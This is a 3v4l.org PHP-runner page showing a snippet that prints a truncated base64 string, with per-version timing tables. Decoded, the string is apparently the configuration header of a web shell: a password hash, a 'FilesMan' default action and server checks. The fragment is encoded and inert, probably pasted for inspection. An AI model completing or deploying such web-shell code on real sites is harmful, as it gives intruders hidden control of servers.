3v4l.org

run code in 300+ PHP versions simultaneously
<?php $arr = array( [0]=> "JGF1dGhfcGFzcyA9ICI4NzQwN2EwZDFiN2UxOGM4ZjM1YjcyMjQxMTY2MzkyNSI7CiR1c2VhY2UgPSB0cnVlOwokY29sb3IgPSAiI2RmNSI7CiRkZWZhdWx0X2FjdGlvbiA9ICdGaWxlc01hbic7CiRkZWZhdWx0X3VzZV9hamF4ID0gdHJ1ZTsKJGRlZmF1bHRfY2hhcnNldCA9ICdXaW5kb3dzLTEyNTEnOwoKaWYoIWVtcHR5KCRfU0VSVkVS" ); print_r($arr);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
5.6.280.0000.07720.98
5.6.220.0200.07020.66
5.6.210.0030.08720.55
5.6.200.0100.08321.02
5.6.190.0070.09321.02
5.6.180.0000.08720.93
5.6.170.0100.06721.04
5.6.160.0070.08721.02
5.6.150.0200.07321.06
5.6.140.0070.08321.09
5.6.130.0200.07020.93
5.6.120.0130.06321.12
5.6.110.0030.07021.12
5.6.100.0070.08020.91
5.6.90.0230.07021.11
5.6.80.0130.05320.32
5.6.70.0030.06720.54
5.6.60.0130.07320.39
5.6.50.0100.08320.46
5.6.40.0100.07720.38
5.6.30.0030.07020.29
5.6.20.0030.04320.39
5.6.10.0000.04720.48
5.6.00.0070.04020.27
5.5.360.0070.08720.33
5.5.350.0070.05320.36
5.5.340.0000.08320.79
5.5.330.0100.07720.87
5.5.320.0130.07020.80
5.5.310.0100.08320.86
5.5.300.0170.07720.80
5.5.290.0000.08320.90
5.5.280.0000.09320.77
5.5.270.0070.08720.79
5.5.260.0070.09020.84
5.5.250.0100.07720.60
5.5.240.0030.04320.01
5.5.230.0030.08720.29
5.5.220.0170.05020.14
5.5.210.0030.04320.29
5.5.200.0030.06019.99
5.5.190.0170.07320.25
5.5.180.0070.06320.14
5.5.160.0070.04020.22
5.5.150.0070.04020.22
5.5.140.0130.03320.23
5.5.130.0070.03720.21
5.5.120.0030.04020.23
5.5.110.0030.04020.16
5.5.100.0070.03720.12
5.5.90.0070.05320.15
5.5.80.0030.08020.14
5.5.70.0130.03019.93
5.5.60.0030.08320.05
5.5.50.0070.03719.95
5.5.40.0000.05719.92
5.5.30.0030.04020.12
5.5.20.0030.04020.09
5.5.10.0000.04319.97
5.5.00.0100.06020.04
5.4.450.0070.08019.30
5.4.440.0200.05319.45
5.4.430.0100.08019.45
5.4.420.0070.08019.43
5.4.410.0170.07019.30
5.4.400.0070.07718.82
5.4.390.0030.08318.92
5.4.380.0070.08019.07
5.4.370.0100.05718.78
5.4.360.0100.08319.10
5.4.350.0100.04719.23
5.4.340.0070.04019.14
5.4.320.0100.08018.81
5.4.310.0030.04019.12
5.4.300.0130.03018.96
5.4.290.0070.04019.04
5.4.280.0070.08018.81
5.4.270.0000.04019.11
5.4.260.0000.04018.99
5.4.250.0000.04719.24
5.4.240.0000.05319.11
5.4.230.0000.04718.78
5.4.220.0000.04718.80
5.4.210.0030.04319.13
5.4.200.0070.03719.22
5.4.190.0000.04318.79
5.4.180.0100.03319.08
5.4.170.0030.04318.94
5.4.160.0030.04019.21
5.4.150.0000.04019.02
5.4.140.0000.04016.07
5.4.130.0000.04016.26
5.4.120.0070.03016.27
5.4.110.0030.03716.30
5.4.100.0100.03016.23
5.4.90.0070.03716.37
5.4.80.0030.03716.29
5.4.70.0030.03316.34
5.4.60.0000.04016.42
5.4.50.0070.03016.29
5.4.40.0000.04016.23
5.4.30.0030.06316.27
5.4.20.0030.03716.31
5.4.10.0030.03716.29
5.4.00.0030.03715.71
5.3.270.0130.05714.56
5.3.260.0030.04714.59
5.3.250.0070.03714.57
5.3.240.0100.03014.43
5.3.230.0030.05714.58
5.3.220.0030.04014.55
5.3.210.0100.03014.55
5.3.200.0000.04014.55
5.3.190.0070.07314.48
5.3.180.0070.03314.48
5.3.170.0030.03714.55
5.3.160.0000.05014.55
5.3.150.0000.04014.52
5.3.140.0130.06314.55
5.3.130.0000.06314.37
5.3.120.0030.04014.51
5.3.110.0000.04314.37
5.3.100.0000.06713.91
5.3.90.0030.03013.84
5.3.80.0000.06313.98
5.3.70.0030.03713.87
5.3.60.0030.03014.00
5.3.50.0070.06013.93
5.3.40.0000.04013.90
5.3.30.0030.03713.87
5.3.20.0000.03713.45
5.3.10.0000.03713.54
5.3.00.0070.03713.49
5.2.170.0070.02712.67
5.2.160.0000.03012.67
5.2.150.0000.04012.67
5.2.140.0100.04012.67
5.2.130.0000.03012.67
5.2.120.0000.03012.67
5.2.110.0000.03012.67
5.2.100.0030.03712.67
5.2.90.0000.04012.67
5.2.80.0070.06712.67
5.2.70.0000.07012.67
5.2.60.0030.06012.67
5.2.50.0030.06312.67
5.2.40.0000.03312.67
5.2.30.0030.06312.67
5.2.20.0070.05012.67
5.2.10.0070.03312.67
5.2.00.0070.06012.67
5.1.60.0000.05712.67
5.1.50.0000.03012.67
5.1.40.0100.04712.67
5.1.30.0130.04712.67
5.1.20.0000.03012.67
5.1.10.0070.02312.67
5.1.00.0070.04712.67
5.0.50.0000.02312.67
5.0.40.0030.04312.67
5.0.30.0000.03312.67
5.0.20.0030.02012.67
5.0.10.0000.04712.67
5.0.00.0000.04012.67
4.4.90.0000.03312.67
4.4.80.0000.02012.67
4.4.70.0070.02012.67
4.4.60.0030.03712.67
4.4.50.0000.02712.67
4.4.40.0070.04012.67
4.4.30.0100.02312.67
4.4.20.0000.01712.67
4.4.10.0030.03312.67
4.4.00.0000.02712.67
4.3.110.0000.01712.67
4.3.100.0000.02312.67
4.3.90.0000.03712.67
4.3.80.0000.02312.67
4.3.70.0000.01712.67
4.3.60.0000.03712.67
4.3.50.0030.02312.67
4.3.40.0000.03012.67
4.3.30.0000.01712.67
4.3.20.0030.01312.67
4.3.10.0030.01312.67
4.3.00.0000.03712.67

preferences:
138.45 ms | 1394 KiB | 7 Q